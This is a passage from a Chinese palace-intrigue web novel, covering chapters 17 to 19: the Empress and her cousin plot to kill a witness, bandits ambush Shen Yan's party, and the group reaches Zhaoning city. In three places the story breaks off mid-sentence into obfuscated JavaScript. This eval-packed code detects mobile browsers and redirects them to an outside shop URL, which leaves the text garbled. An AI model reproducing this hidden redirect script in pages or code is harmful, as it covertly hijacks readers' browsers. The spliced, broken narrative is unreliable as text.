沈晏眯了眯眼睛,之前那被抓到的活口在死之前其实写了一个字——木。看来没写完的部分应该是子,合起来就是一个李字。 李家,皇后。 若真是他们,那他们的目的是什么? 当年的败战,不仅失去了压制南疆多年的温岫将军,还损失了三万平南军。最后若不是温老将军千钧一发之际力挽狂澜,青罗城便会面临失守。 青罗城沦陷,南疆大举来犯,对他们李家有什么好处? 李家涉嫌通敌叛国,这听起来简直太过于荒唐了。 “该不会是南疆的探子从中作乱?”唐枳问。 沈晏皱着眉头没说话,但心里已经将这个可能排除在外了。 南疆的老皇帝两年前身体突然急转直下,而他的膝下有十几个活蹦乱跳的儿子,每一个都野心勃勃。如今南疆皇室内斗严重,怕是没那个闲心派人到大昭上蹿下跳。 当年温岫将军死后不久,温老将军双腿受伤无法久站,便要解甲归田。皇上念其劳苦功高,仍然保留他将军的头衔。如今人在昭宁城郊外的一处宅子里养伤,已有许多年不曾露面了。 “如今青罗城的守将是谁?”有一个猜想渐渐浮上心头。 唐枳:“好像是温老将军曾经的下属,叫谢既明。” “去查一下他和李家有没有往来。” 唐枳内心震动,正打算着手去办。 “啊——” 马车内,沈慕朝发出了尖锐爆鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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说着还挺委屈地看了一眼已经气得神志不清的沈慕朝,“那奴婢就只会梳这个了,世子你是知道的。” 沈晏点点头,道:“她确实只会这两个。” 沈慕朝怪叫一声,用劈叉的声音道:“那你的意思是本殿下错怪你了?” 姜暖还没开口,沈晏又道:“殿下便饶她这一回,前面不远便是城镇,殿下可要买一些珠钗衣裙?” 一听到可以有首饰衣裙可买,沈慕朝的火气一时消了大半。 “你送我?” 沈晏点头。 沈慕朝哼了一声,对姜暖说道:“这次便不与你计较。”说完乖乖退回了马车内,仿佛刚刚喊打喊杀的不是他。 姜暖笑嘻嘻地向沈晏道了一声谢,心道这七殿下也蛮好哄的。 沈晏回了一个不冷不热的笑:“钱从你的工钱里扣。” 嗯? 什么意思,她竟然还有工钱的吗? “那个谁,还不进来替我拆头发。” 姜暖甩了一把帘子,钻进去:“我不叫那个谁,我叫姜暖。” “我就叫你那个谁。” “……” “还有,你应该自称奴婢。” “……知道了我的七殿下。”手上开始用力。 “嘶——你力气能不能小点儿!” “奴婢天生神力,这已经是最小的力气了。” “……”睁眼说瞎话呢吧。 马车内吵吵闹闹的,沈晏突然吩咐唐枳在下个城镇买一辆马车。 唐枳:这么突然的吗? 17. 第 17 章 昭宁城,皇宫。 今日朔望,大小官员都一早起来在宫门候着,准备入宫参加朝会。 李维翰也不例外,不过他都是掐着点儿来。许是最近几年吃得胖了些,加上他的脸原本就偏圆,远远走来还以为是佛堂上的弥勒佛出来遛弯了。不过他可没有半点慈悲为怀的气质,反而有些市侩圆滑。 他一到宫门口便有几个同僚凑过来同他寒暄,姿态都放得很低,其中不乏一些官阶比他大的官。若换作往日,他定笑意盈盈地同他们聊上几句,说不定还会相约散朝后去喝酒听曲。但今日他却无心应对,只面上笑着,敷衍一句:“诸位大人过誉了。” 有眼色的自然是察觉到他今日心情不佳,猜想着估摸是昨夜在赌桌上输了钱。于是只闲扯了两句客套话,众人便自觉散去了。 等宫门大开后,走在最前头的内阁大学士李崇义突然回头暼了李维翰一眼。隔着人群的他突然抖了一下,立马就站直了。他原地端正了一下仪态,这才规规矩矩地按着品阶高低的顺序跟在队伍最末端跨入宫门。 “今日这小李大人怎么不走前头了?”有个没脑子的问旁边的同僚。 “小点声吧你。”有脑子的剜了没脑子的一眼。 前段时间皇上因为昭宁城恶钱卷土重来一事发了好大的脾气,这段时间朝廷上下人人自危,大气都不敢出。平日里也是谨言慎行,能不出门就不出门,就怕被人抓了小辫子提上去给皇上泻火。 而这小李大人昨夜去赌坊厮混到大半夜,今日丑时李大人才派人把他绑回去,听说跪在祖宗祠堂跪了大半宿,差点没赶上今日朝会。 没脑子的咦了一声,“你咋知道得这么清楚?” 有脑子的恨铁不成钢道:“我家那位二世祖是小李大人的马前卒……”差点没把牙咬碎。 所以那逆子现在还被吊在祠堂的房梁上喊救命呢。 没脑子的:“……”精彩。 上朝的时候,李维翰这个品阶只能候在殿外听宣,不过一向没他什么事,他便站在外头打瞌睡。昨夜赌桌上熬了半宿,回家又在祠堂跪了半宿,正缺觉呢,这会儿正好补眠。 不晓得过了多久,太子过来把他拍醒了。 李维翰一个激灵醒来,正想说“爹我不敢了”,但眼前的却是太子那张放大的圆脸。 三三两两的官员正结伴往外走,他有些迷糊道:“散朝了?” 太子点点头,问:“表舅舅,你怎么睡着了?” “我爹呢?”李维翰伸头往殿内张望。 太子道:“李大人去上书房议事了。” “哦。”李维翰放下心来,两人并肩往外走。 “你母后这几日如何了?” 太子脸色不佳,“还是头疼得厉害,表舅舅要一同去探望吗?” 这几日不知道为何,母后头风发作,疼得整宿睡不好觉。太子妃前日进宫侍疾却被拒之门外,他这几日朝会后,都会去后宫探望一番。 “正有此意。” 李维翰当然知道皇后是为了什么事睡不着,不过昨夜收到了消息,或许能安抚一下。 两人走到半道,有太监来请太子移步,说是皇上唤太子去上书房。太子突然紧张地抖了一下,一张嘴抿得紧紧的,不过顷刻间又强迫自己冷静下来。 “太子慢走。” 李维翰目送太子走后,一个人信步闲庭去了坤宁宫。 宫内,皇后正靠在贵妃榻上补眠,听说他来了,连忙将人请了进去。 李维翰进去后,皇后便屏退左右,只留了总管太监守忠在旁候着。 皇后也是圆脸,额发整齐,耳垂饱满。许是凤体欠安的缘故,今日并未绾发戴冠,只梳了个婉约的发髻,眉眼低垂间颇有几分观音相。 李维翰还未坐下,便听皇后急切地问道:“表哥可带了好消息来?” “走了这么远的路,你且等我喝口热茶。”他往椅子上一靠,跷起腿来。 刚端上来的茶水温热不烫口,他端起来一饮而尽。他将喝空的茶杯随手往桌上一搁,这才娓娓道来。“昨夜才收到消息,人虽无恙,但那幅画像烧没了。” 话还未说完,果然见皇后皱紧了眉头,眼里满是不悦。 “这就是你说的好消息?” 几次三番失手,她已经没有了耐心。 李维翰不以为意,道:“当年青衣已经死了,不是随便找个人来就行的。”在他看来皇后未免太过忧虑,当年青衣的尸体可是大理寺亲自查验的,验状上写得清清楚楚明明白白。 就算那女子被带进昭宁城,协助安王世子翻案,但那幅画像已经毁了,谁能证明她就是真的? “我的皇后娘娘,你就安心养病吧,那女子不能自证身份,就掀不起多大的浪来。” 纵使这么说,但皇后还是放心不下,当年她对于那个周正就是太过放心了,才导致如今这般局面。 皇后面色不悦,追问:“你的人可亲眼见着那画烧没了?” “这……”李维翰挠了挠头,这还真没有。但那火势那么大,整个客栈都烧没了,人没烧死算他们命大,但不至于连一幅画都烧不干净吧? “安王世子身边的侍卫亲口说的还能有假?” 皇后冷笑一声,“你怎知这不是安王世子故意为之,好让我们掉以轻心。” 李维翰愣了一下,这他倒是没想到。 “那你还要如何?继续杀?” 之前他安排了两拨人,一批江湖杀手,一批他自己养的死士,都没能杀死那个女人。若还要继续动手,怕是容易被安王世子抓到小辫子。 皇后何尝不知道动手的次数越多,越容易暴露。 但…… “只有人死了,我才能彻底安心。”她捏紧了手里的佛珠。 李维翰倒是有点犹豫,“可眼下,人已经快到昭宁城了,不方便下手啊。” 一直没说话的守忠这会儿开口了。 “奴才听说前年洪灾,临川县受灾严重,附近的卧牛山山匪流寇成群,不少过路的商户和镖局都遇了害。” 李维翰了立马双手一拍,道:“你这个奴才倒是聪明。” …… 送走李维翰后,皇后左思右想还是不放心,守忠捏着她的肩膀进言道:“不如奴才去协助一二吧。” 皇后沉思了一会儿,手搭在他的手背上道:“快去快回。” 另一边,姜暖一行人在距离临川县七十里外的望京县歇息。 刚安排好客房,沈慕朝就拉着他们去逛首饰铺子。 姜暖负责伺候他穿衣,唐枳负责给他拿东西,而沈晏则负责给钱。 安排好每个人的职责,一行人就直奔望京县最大的首饰铺子而去。姜暖看着硕大烫金的牌匾就知道这个铺子的价格不低。 果不其然,沈慕朝随便挑了两簪子加起来就要二十五两银子。老板也是个识客的,等挑完了簪子,又热情地拉着他介绍起了店里的镇店之宝。 那是一套极为奢华的头面,店家一拿出来就感觉一股土豪的气息扑面而来。从用料到工艺店家那是讲得头头是道,嘴角都起了沫子。 姜暖就听到什么,黄金啊,宝石啊,镶嵌啊,雕琢啊什么的。 一问价格,老板笑得憨厚,突然卖起了关子,只见他伸出胖乎乎的手指比了个耶。 “二两啊,挺便宜。”姜暖故意说。 店家被梗了一下,笑容差点没搂住,讪笑道:“贵客真会说笑,这套头面得要两千两白银!” 嚯,真是穷奢极欲啊…… 沈慕朝将发冠拿到手上观赏,一副颇有兴趣的样子。姜暖挪到沈晏身边,悄悄问:“我工钱一个月多少?” 沈晏看了一眼她,道:“五两。” !!! 姜暖计算了一下,沈慕朝要是买了这套头面,她岂不是要给沈晏打一辈子黑工?她立马凑到沈慕朝耳边说:“殿下,你不觉得这发冠远看很像一坨黄金粑粑吗?” 沈慕朝看了看手里的发冠,不说还不觉得,这一说…… 突然觉得手里这玩意儿变得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594100|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净起来。 姜暖又绘声绘色道:“粑粑上头还有几颗未消化的玉米粒和葡萄干……” 沈慕朝:??? 姜暖像个鬼一样贴着他的耳边继续幽幽地说道:“殿下你确定要戴着这么一坨粑粑出去见人吗?” 沈慕朝嫌弃地把发冠放下了,觉得刚刚自己捧着的是一坨新鲜的。他示意沈晏付簪子的钱,戴着挑好的簪子离开了。店家试图挽留,追出门道:“哎贵客,这头面你不考虑吗?只此一家哦~” 刚刚不还好好的,怎么了这是。 沈慕朝头也没回:“你那发冠做得像一坨黄金粑粑!” 哈? 店家回头看了眼桌子上的发冠。 不能啊,哪儿像了。 等到了成衣铺挑衣服的时候,姜暖还想如法炮制,让沈慕朝选点便宜货。但没承想,沈慕朝已经察觉到了姜暖的险恶用心,直接将人赶到店外不准进来。 最后挑了一套石榴红的衣裙,用料优质,绣工老道。 售价一百两。 姜暖合计了一下,得给沈晏打两年黑工才还得清。 不过,问题不大,好歹包吃住。 买了新衣服首饰的沈慕朝十分开心,得知今日花费是从这个丫鬟的工钱里扣,他更开心了,连看姜暖都顺眼了起来,到了客栈后甚至还哼了几句小曲儿。 第二日一早他们便启程前往下一站。 临川县临近黑水河,在通往昭宁城的必经之路上。 前年雨季,黑水河河水暴涨,导致河岸决堤,临川县内洪涝成灾,百姓们流离失所,大多都往其他的地方逃难去了。只有一小部分还跑去了附近的卧牛山躲避洪水,待到洪水退去后,他们从山上下来重新修缮房屋。 可不久又爆发了瘟疫,尽管当地的官府已经提前进行了预防,但还是没控制住,不多时这里几乎成了无人之城。为了躲避瘟疫,不少人跑进了深山,因为生计又落草为寇,当地官府管不过来,便放任了。 如今这卧牛山已然成了山匪流寇的聚集处,着实让当地的县令头疼不已,已递了不少折子,要求朝廷派兵清剿。 望京县还比较热闹,等到了临川县,姜暖就发现这里冷清了不少。官道有一段路需要从卧牛山山脚下经过,一行人都打起了十二分的精神。 原本是有两辆马车,但是后来沈慕朝觉得一个人坐一辆没有安全感,便强行挤上了沈晏的马车。于是三个长胳膊长腿的人就那么挤在一辆马车内,憋得姜暖坐不住,跑外头跟唐枳做伴了。 唐枳正在给姜暖讲卧牛山山匪成患的事儿,姜暖听了道:“以我们这一路的遭遇来看,估计还得出意外。” “……”唐枳一时有点哑口无言。 不过这卧牛山上的山匪从不对官家的人下手,只劫掠普通老百姓,特别是过路的富商豪绅。 “咱今日马车挂了安王府的牌子,应当没问题。” 然后就出问题了。 走在最前方的队伍被绊马索绊得人仰马翻,紧接着山上有滚石兜头砸来。马匹受惊乱窜,马车被甩得左右颠簸不稳。 唐枳手起刀落砍断绳索,车厢被滚石砸翻在地,沈晏几乎是在遇险的第一时间便将沈慕朝拉出马车,顺手将快被甩飞的姜暖拦腰抱在地上。 姜暖站稳后便立刻去寻找安全的地方,而沈慕朝像个小鸡崽子被沈晏提溜在半空躲避滚石的攻击。 “我恐高啊——”沈慕朝被吓得手脚都往沈晏身上缠。 嗖嗖嗖—— 几十支竹箭离弦而来,那是提早就布好的陷阱。 沈慕朝被甩到侧翻的马车盖子的一侧躲避,沈晏站在车盖子边缘上抵挡箭雨。随着箭雨而来的还有几只狼狗猎犬,一时间人犬相搏,场面乱作了一团。 “兄弟们,开饭了!” 一声吼叫震天响,一群汉子手拿着刀枪斧头等武器从山上冒出头,乌泱泱的一群人吼叫着往山下冲。他们皆是猎人装扮,穿着兽皮的衣裙和毡帽,身材高矮胖瘦皆有,甚至还有模样强壮的女人。 18. 第 18 章 “别担心,以我们的能力,对付几个山匪绰绰有余。”唐枳在躲避箭雨的间隙抽空安慰姜暖。 姜暖杀了一条恶狗,抬头看着冲下来的人群,声音不由得提高了八度。 “几个?” 这乌泱泱的人头看着上百了吧,这山里头的山匪都这么多的么? 唐枳也愣住了,他还真没见过这般浩大的场面,估计卧牛山这几个山头里的山匪全在这儿了,倾巢出动啊这是! “没人护驾吗!?”沈慕朝不知道从哪儿捡的木头棒子卡在一只狼犬的嘴里,整个人几乎被那狼犬按在地上,这畜生的口水都滴到他脸上了。 姜暖离他近一点,冲过去一刀插进了狼犬的咽喉,将沈慕朝护在身后。她朝唐枳大喊:“眼下怎么办?” 山匪虽然砍人水平参差不齐,加上可能都是附近的灾民落草为寇,其实没有几个会正统功夫的。但也架不住人这么多啊!累都累死了。 沈晏将软剑换成了长枪,替唐枳回答她道:“打!” 你哪里摸出来的长枪? 不对,这是能硬拼的场面吗? 这时候人群已至,不打也得打了。 姜暖没往前冲,只护在沈慕朝的身前解决着冲上来的刀剑,倒不是她挂心沈慕朝的安危,而是她这个位置处于混战中心的后方边缘,沈晏和唐枳他们抵挡住了大部分人。所以综合来看这个位置其实压力是最小的,苟在这里才最安全。 沈慕朝看着眼前的背影,觉得姜暖此时无比高大,心里顿时感动得不行。 那小小的匕首在她手里颠来倒去,上下翻飞扎得那些人哭爹喊娘。沈慕朝觉得可能这辈子都没有人如此刻对他的命如此重视过。 沈晏挥舞着长枪在人群中来回横扫,将人拦截了大半,但架不住人太多,还是有不少溜边溜到姜暖那边去了。 姜暖开始有些力不从心,但是她发现要死还是不容易的。因为溜过来杀她的人好像不是同一个土匪窝的,虽然暂时团结起来干这一票,但是对于他们抢人头好像才是最重要的。 每个人都想抢第一个杀她的名额,所以打着打着,眼看着她要交代了,就有其他试图抢功的人打岔干扰,到最后竟然打急眼了开始内讧起来。 “……” 有种说不出的无语。 姜暖发现这个问题后,索性也不自己亲自打了,只专注在不同衣服材质和款式的人之间制造摩擦和冲突。瞬间这后半场的战场俨然变成了土拨鼠打架,两两凑对互掐,偶尔有劝架的最后也变成了多人混战。 “你好厉害啊……”沈慕朝缩在她身后,食指和拇指牵着她的衣袖,一副怕走丢的样子。 “那是。”姜暖一点也不谦虚。 不过这招也没管多久,很快就有脑子聪明的反应过来了,嘴里大喊着:“这个女人耍我们!杀了她,人人有份!” 很快,在她附近的和没在她附近的都齐刷刷地冲了过来。 哦豁,这把真的要死了…… 也就在这千钧一发之际,一阵急促的马蹄声响起,只见前方尘土飞扬,一群统一着装的汉子骑着骏马飞驰而来,为首的是老熟人——唐田! 人群里有人大喊:“是镇安司的人!” “糟了,我们怕是中计了!大家快逃啊——”领头的汉子大叫起来,立马掉头招呼众人往山里跑。 顿时方才还在拼杀的人群乌拉拉地如鸟兽四散,还不忘搀扶受伤的人。有一个受伤特别重的掉队了,被唐枳他们一把扣下了。 唐田跳下马来,对沈晏一拱手道:“属下来迟了,世子你们没事吧?” 沈晏将手里的长枪拆成三截收起来,道:“不算晚,事情办得如何?” “阿七他们已经顺利上船,想必用不了多久便会有消息了。” 沈晏点点头,掏出手帕擦拭脸上和手上的血迹,走到那被抓住的土匪跟前。 “谁派你们来的?” 这土匪是个蓄了络腮胡的汉子,但长得比较瘦弱,一张口就是哭腔。 “大老爷,我们不知道你们是镇安司的人,要是知道,就算给我们十个不一百个胆子也不敢动手啊……大老爷饶命……呜呜呜……” 沈晏擦干净了手,将手帕丢在地上,表情不耐烦地重复问道:“谁派你们来的?” 那汉子被沈晏的眼神吓了一哆嗦,吸溜了一下鼻涕道:“不清楚,那人我们没见过。前几日他运了五个两人抬的大箱子上山来,说是要给山里的几个寨子做一笔大生意。” 汉子激动道:“那箱子里装得全是崭新的铜钱!” 那日他们几个山头的大当家都被叫到了一起,一位客人花重金买人头,说这人原本就是朝廷缉拿的重犯,此番被人秘密押送回昭宁城。这位客人与这人有不共戴天之仇,怕回了昭宁城出什么变故,便想在此处截杀。 一开始这位客人戴着面具不愿意以真面目示人,几位当家的还不愿意做这笔生意,后来那客人许是急了,就摘了面具。 看模样倒是个生面孔,据他所说,祖上是外地的富商,因为这要犯,此次才特来昭宁城做生意。所以钱的问题不必担心,谁若是拿了那人的人头,额外再给十箱子的钱。 那胡子突然将声音提高了:“那一个箱子里就有足足有八十贯!”要知道,八百贯钱足够他们寨子二十口人两年开销了,能不心动吗。 山匪为钱也是正常,姜暖倒是十分理解。 沈晏正要差人将此人带走好生看管,谁知一道破空的声音袭来。一杆短箭嗖得扎进了大胡子的上半身,顿时血流如注。 姜暖瞥见林中一道人影,二话不说便追了过去,沈晏紧随其后。 那人穿着深色的劲装,戴着面巾隐去了真容。脚下的轻功极好,三两下就将姜暖甩在了身后。但好在沈晏的轻功也不差,不到半盏茶的工夫还是将人追上了。 那人见逃不过便掏出腰间的短刀回身反击,沈晏抽出了腰间的长剑与他厮斗起来。 等到姜暖气喘吁吁地赶到时,两个人在半空中打得有来有回的。此处林子较密,沈晏的长剑受限,那人又跟泥鳅似的轻易捉不住。 姜暖正想上去帮忙,谁知那人竟然掏出了一把弩箭朝她射来,她赶紧往旁边躲闪。结果好死不死一脚踩在了一处陷阱上,整个人突然失重,狠狠地摔进了一个三米深的坑里。 她的惊呼声让沈晏分了心神,那人借机跑了。 姜暖躺在坑底,感觉尾椎骨有点麻麻的,双手的手掌被坑壁的碎石擦的全是口子,血呼啦的还挺疼。 这时候沈晏跳下来了,问:“没事吧?” “你咋下来了?那人呢?”她撑着坐起来。 “跑了。”沈晏说,“你没受伤?”走过去伸手拉她。 姜暖隔着袖子拉沈晏的手,道:“没有,就擦破了点儿皮。” 沈晏看她先用袖子盖住自己脏兮兮的手掌才来握他的手,心里划过一丝痒意。 “这坑这么高啊……”姜暖站起来拍拍屁股,她现在已经没多少力气了,感觉现在靠她自己,应该是很难爬出去的。 不知道沈晏能不能背他出去。 这么想着她便回头看沈晏,沈晏已经在弓起一条腿,双手掌心朝上叠放在膝盖上摆好了姿势。 “你先出去。” 姜暖也没废话,三步助跑一脚踩在了他的掌心上,接着感受到一股向上的推力,她顺利地爬了上去,接着回头伸出手去拉沈晏的手。 这次她没有讲究地擦手,沈晏也没嫌弃,掌心相握的时候,姜暖感受到了一个灼热的烫意。 “你发烧了?” “啊?”沈晏正在摘身上的叶子,被姜暖这一句问得摸不着头脑。 姜暖解释道:“你体温有点高。” “……”沈晏表情空白了一会儿,接着背过身不理她了。 姜暖倒是对他这反应见怪不怪了,也没去管他。绕着泥坑四下观察了一下,想着这人如此熟悉此地,想必是早有准备。蹲下身去摸了一下四周的泥土,判断出这坑应该是不久前挖的,应该是这人留的后手。 还挺谨慎。 眼睛随意地在附近打了几转,一个小玩意儿突然闯入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598542|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了视视野中。她走过去将东西捡起来问沈晏:“这是啥?” 平复好心跳的沈晏这时过来,将那蟹青色的香囊接过来查看。 “普通的香囊。”说着凑近鼻尖嗅了嗅,顿时神色微变。他将香囊打开,里头是一些普通香料,还混合着一些晒干的茶叶渣。 这确实是普通的香包,但只有宫里的太监会在香囊里专门放一些晒干的茶叶渣。 因为太监净身后,偶尔会出现漏尿的情况,所以会佩戴香包掩盖那股骚味,而茶叶渣的效果是最好的,还便宜,所以基本每个太监都会在香包里放茶叶渣。 果然是皇宫里的那位么? 两人从山中出来,那大胡子早就没气儿了。 唐田回禀道:“这箭扎穿了他的肺腑,加上出血严重,没能救回来。” 沈晏将手里的香囊抛给唐枳,吩咐道:“查查这东西的来历。” 又道:“还有,这地上的尸体也都处理了。” 沈慕朝慢慢挪到姜暖旁边,看着她一手的血迹惊讶道:“你流了好多血!” 多吗? 姜暖不在意地甩了甩手,大大咧咧道:“擦伤罢了,大惊小怪。” “那也会疼。”沈慕朝语气茶茶的。 姜暖只觉得这人跟她说话的语气好像跟以前不大一样了,但是也没往心里去。她比较在意的是,方才沈晏看到这香囊里的内容眼神都变了,好像心里是知道谁了一样,但是没告诉她。 虽然别人没有义务告诉她,但是她有点不太爽,这关系到她身家性命的,双方合作不坦诚那就没得搞头。 这时候沈慕朝拉过她的手,还用手里的帕子帮她擦血,动作十分温柔。 沈晏大步走过来,手一抬将沈慕朝脑袋上插着的簪子取下来,拽过姜暖的另一只手给她挑伤口里嵌进去的小石子儿。 “用水冲两下得了。”虽然嘴上这么说,但是有人帮她处理她也挺乐意的。 唐田震惊地看着他们,特别是一脸淡定的姜暖,觉得自己可能错过了什么惊天大八卦。赶紧溜到唐枳身边,恨不得把他的脑瓜子掏出来装到自己的脑壳里。 “说说说说,我不在的时候这是发生了什么?” 眼前的世子还是他们的世子吗?还有这个七殿下,他怎么觉得也是冒牌的呢? 唐枳一把拽回自己的胳膊,将人推开。 “赶紧做事吧,小心世子安排你去打扫镇安司的茅房。” 敢蛐蛐那两位,他也不挑个合适的时间。 姜暖的手上的伤被清理好后还贴心地包上了帕子,左边是沈慕朝的,右边是沈晏的。料子一看就不错,姜暖决定用完洗干净卖了。 马车是不能用了,他们回去这一路上估计得骑马了,反正也没剩多少路程,骑马的话预计明日傍晚就能赶回昭宁城。 这时候七殿下倒是没意见,早点赶回去也好,免得路上又出什么幺蛾子。 姜暖照规矩,准备和唐枳共乘一匹。 “你过来。”沈晏朝她伸出了手。 沈晏的坐骑跟他人一样,腿长又漂亮,黑色的鬃毛都在发亮。 姜暖也不扭捏,握着他的手借力就坐了上去,一把搂住了他的腰肢。不由地感叹了一句:“你的腰还挺细的。” 唐枳简直不敢想自己听到了什么,赶紧将七殿下送上马,然后策马赶路。 “走走走,动起来。” 其他人赶紧动起来往前走,只有唐田不怕死的还在原地看戏。 “哎,不等他们吗?”七殿下被突然动起来的马吓了一跳,一把将唐田抱得死死的。 唐枳回答道:“没事,我们世子的马跑得快。” 沈晏夹了一下马肚子,嘴快道:“你的也挺细。”说完罕见地尴尬了一下,嘴唇抿得紧紧的。 姜暖在他背后点了点头,又说:“我那是饿的。” 好了,他不想继续这个话题了。余光瞥见了一直偷偷往这边看的唐田。 沈晏:“唐田,镇安司这个月的茅房你负责打扫了吧。” 唐田如遭雷劈。 19. 第 19 章 昭宁城坐落在龙脊山脉下,面朝黑水河,绵延数十公里。整座城池四四方方,一共分为三个部分。 最中心靠北的是昭宁的皇宫——长乐宫。万千琉璃金顶构成一片巍峨的宏伟宫殿,在阳光下犹如黄金之海,波光粼粼。外围包裹着长乐宫的则是皇城,官员胥吏在其间穿梭往来,车马络绎不绝。 最外层则是外郭城,是百姓官员的主要聚集地,庞大、复杂、有序。其又分为外城和内城,外城是大部分农民的耕地和屋舍,房屋零星,多树林稻田。内城设有东西两市,笔直如刀的街道纵横交错,宛如棋盘。 入城的第一道城门为正南门,进门后便是一条笔直且宽阔的街道,泥土夯实的路面,一直蔓延到第二道城门——明德门,等过了这道门,才是真正进入了昭宁城的中心。 他们策马的速度渐渐慢下来。这时候,自后方远处传来阵阵钟声。 姜暖往右后方看去,只见一座小山峰伫立在城池的东南角。 “那里是有一座寺庙吗?” “你不知道?”沈慕朝奇怪地看了一眼姜暖,“那是广济寺,大昭最有名的佛寺。”说完又看向沈晏,问:“堂哥怎么不顺路去看看安王妃?” 自安王大世子和安王过身后,安王妃就搬到广济寺庙长住了,这一住就是二十年,从未下过山。 沈晏从六岁起,就没怎么见过自己的母亲,除了每年生辰可以同母亲一起享用一顿斋饭外,其余时间无论他跪在门外怎么求,母亲就是不会开门。八岁后,他便时常被皇上接进宫中,亲自教导。 对于母亲的记忆,只有每年生辰的那碗斋饭。 沈晏勒了一下马,头也没回:“药已差人送去,无需我亲自走一趟。” 姜暖没在意他俩在打什么哑谜,现在只想快点下马活动活动筋骨,这一路她的屁股可遭了老罪了。 入了明德门,便是热闹的内城。整条朱雀大街皆是用青石板铺设,马蹄叩在上面发出清脆的哒哒声。他们刚进城门不久,便有个年岁不大的青年远远迎上来,朝着沈晏拱手笑道:“世子一路辛苦。” 他是安王府负责马车出行的车夫,唐田那日走之前特地知会了府上,府中老管家康伯便算着时间让他这两日都候在城门口,好接世子回府。 “唐枳,先送她回去。”沈晏并不打算直接回去,而是要去一趟长乐宫。姜暖一听,麻溜地自己爬下马来。他又问沈慕朝:“你同我一起吗?” 沈慕朝蔫巴巴地摆摆手,道:“让平安一道送我回府吧。” 这几日又是惊吓又是骑马受风,他人都快去见母妃了,还入什么宫面什么圣。还是先回府中好生沐浴更衣,一觉睡个饱,待明日再去宫里复命。 三人便在明德门前分道扬镳。 沈晏由唐田一行人跟着往长乐宫的方向去了,唐枳则领着姜暖和沈慕朝坐上了安王府的马车。 小厮恭敬地给沈慕朝行了个礼,将人扶上马车。回头来看姜暖时,藏不住脸上的好奇来。他们没料到世子会从外面带回来一个姑娘,瞧着丫鬟模样的打扮,难不成是外地买的? 不过瞧着一点规矩都没有,要不是方才他手快,这丫鬟就要抢在七殿下前头上马车了。七殿下竟也没生气,还在这丫鬟上马车的时候伸出手来准备拉她。 难不成大有来头? 他凑到唐枳身边问这人是何身份,该不会是世子在外地收了房吧! “平安你长大了,都会关心世子的房中事了。”唐枳不答反问:“要不要哥哥我私下帮你问问?” “不用不用。”平安脑袋甩得像拨浪鼓,气哼哼地说:“枳哥你这趟出去跟田哥学坏了!” “什么话……”唐枳不满地纠正道:“要学也是他学我!” “这你都争……”平安无语了,拽了拽手里的缰绳,拐入了东门大街。 马车内,沈慕朝哼哼唧唧说他大腿疼,但是姜暖没空搭理他,摸着车内的装饰感叹还是城里人会享受。 这马车舒适宽敞,里头的软垫厚厚的,比她之前在漓州坐的马车还要舒适,行走在平整的青石板街道上她完全不觉得晃。车内还放置了各种吃食,精美的香炉早早就染上了熏香,是那股清甜中略有一丝苦味的安神香。 此时车外人声鼎沸,叫卖的小贩,琳琅的摊位,讨价还价的顾客还有三五相伴的友人成群,这坊间烟火气息十足。 她撩开帘子往外看,街边琳琅满目的商品小玩意儿让她一时间看花了眼。当然最吸引她的还是那刚刚揭开蒸笼盖子的一锅白面馒头。麦子的香味直往她鼻腔里钻,她咽了咽口水问唐枳:“有钱吗?” “有啊。”唐枳问,回头就看见姜暖眼巴巴地望着后面渐渐变小的馒头铺,口水都要流出来了。 “你想吃哪个?”馋馒头?倒是稀奇。 沈慕朝好奇地探过头来往外看,“什么好东西把你馋成这样?” 看到是啥后,沈慕朝沉默了,看向姜暖的眼神变得古怪起来。随后一想,可能是以前穷苦得连白米饭都没吃过吧,看她的眼神又变得无比心疼起来。他当即大手一挥,让唐枳去香满楼定一桌上好的席面送到安王府。 就这平平无奇的白面馒头,能有香满楼的糕点好吃? 姜暖拒绝了,她只要白面馒头。 沈慕朝更心疼了,只觉得天哪,给孩子苦成什么样了,连正常饭菜都没见过。 顺着东市大街往里走,在永济河前面的路口左转,便进入了丹桂街。此处已渐渐远离了热闹的市集,周围的房子也越来越大,独门独户,有点像现代的别墅区。 街边的商铺也变得越来越高端,文雅。街道上的行人所穿服饰也越来越华丽,他们多是文人雅客的打扮,其中不乏世家子弟。 顺利将七殿下送到了府邸,姜暖谢绝了去他府上做客的邀请,一行人又调转车头朝安王府的方向走去。刚拐过一条路口,只见街道上停了一辆马车阻在路中间,平安连忙将勒马将车停下。 “好像是谈大人的马车。”平安说。 …… 这厢沈晏沿着朱雀大街,一路跨过朱雀大门,最后在长乐宫的宫门前下马。腿脚快的传话太监早已禀报了皇帝,不一会儿便有领路太监套了辆马车来。 沈晏刚登上马车,走了一小段,便听到城门口有侍卫在同人说话。 “守忠公公病可好些了?” 马车渐行渐远,倒是听不清后面的话了。 沈晏便问外头驾车的小公公,“方才城门外同侍卫说话的可是皇后宫里的公公?” 